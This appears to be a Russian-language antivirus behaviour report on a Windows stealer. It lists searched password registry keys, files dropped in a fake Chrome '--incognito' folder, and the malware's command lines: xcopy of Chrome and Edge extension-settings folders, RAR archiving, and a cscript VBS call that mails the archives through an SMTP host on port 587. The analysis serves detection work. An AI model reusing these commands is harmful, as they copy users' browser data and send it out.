Техническая информация
Вредоносные функции
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [<HKCU>\Software\Microsoft\Internet Account Manager]
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows Mail]
- [<HKCU>\Software\Microsoft\Windows Mail]
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\google\chrome\user data\--incognito\super.firts.extens.services.exe
- %TEMP%\94b0.tmp\super.ff.extens.bat
- %LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe
- %LOCALAPPDATA%\google\chrome\user data\--incognito\exclusion.txt
- %LOCALAPPDATA%\google\chrome\user data\--incognito\firts.extens.services.dat
- nul
- %LOCALAPPDATA%\google\chrome\user data\--incognito\extens.txt
- %LOCALAPPDATA%\google\chrome\user data\--incognito\prodefault\list.txt
- %LOCALAPPDATA%\google\chrome\user data\--incognito\__rar_00.072
- %LOCALAPPDATA%\google\chrome\user data\--incognito\__rar_12.072
- %LOCALAPPDATA%\google\chrome\user data\--incognito\super.ff.extens.general(587)dua.vbs
Удаляет следующие файлы
- %LOCALAPPDATA%\google\chrome\user data\--incognito\extens.txt
- %LOCALAPPDATA%\google\chrome\user data\--incognito\prodefault\list.txt
- %LOCALAPPDATA%\google\chrome\user data\--incognito\exclusion.txt
- %LOCALAPPDATA%\google\chrome\user data\--incognito\super.ff.extens.general(587)dua.vbs
- %LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe
- %LOCALAPPDATA%\google\chrome\user data\--incognito\firts.extens.services.dat
- %TEMP%\94b0.tmp\super.ff.extens.bat
Подменяет следующие файлы
- %LOCALAPPDATA%\google\chrome\user data\--incognito\extens.txt
- %LOCALAPPDATA%\google\chrome\user data\--incognito\__rar_00.072
Сетевая активность
Подключается к
- 'sm##.###p2love.mywire.org':587
TCP
Другие
- 'sm##.###p2love.mywire.org':587
UDP
- DNS ASK sm##.###p2love.mywire.org
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\super.firts.extens.services.exe'
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -x@exclusion.txt "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro2"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -x@exclusion.txt "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro1"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -x@exclusion.txt "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\ProDefault"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 13\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 12\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 11\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 10\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 9\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -x@exclusion.txt "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\EdgeDefaultsync"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 8\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 6\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 5\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 4\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 3\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 2\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 7\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -x@exclusion.txt "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\EdgeDefault"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\94B0.tmp\super.ff.extens.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\94B0.tmp\super.ff.extens.bat" "
- '%WINDIR%\syswow64\ping.exe' -n 1 8.8.8.8
- '%WINDIR%\syswow64\find.exe' "TTL="
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\ProDefault" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro1" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 2\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro2" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sync Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\EdgeDefaultsync" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\EdgeDefault" /s /i /Y
- '%WINDIR%\syswow64\cscript.exe' /nologo "super.ff.extens.general(587)dua.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user Firts extens Powerfull" "s****smtp2love********org" smtp.smtp2love.mywire.org cm@ssh.16mb.com cm@ssh.16mb.com
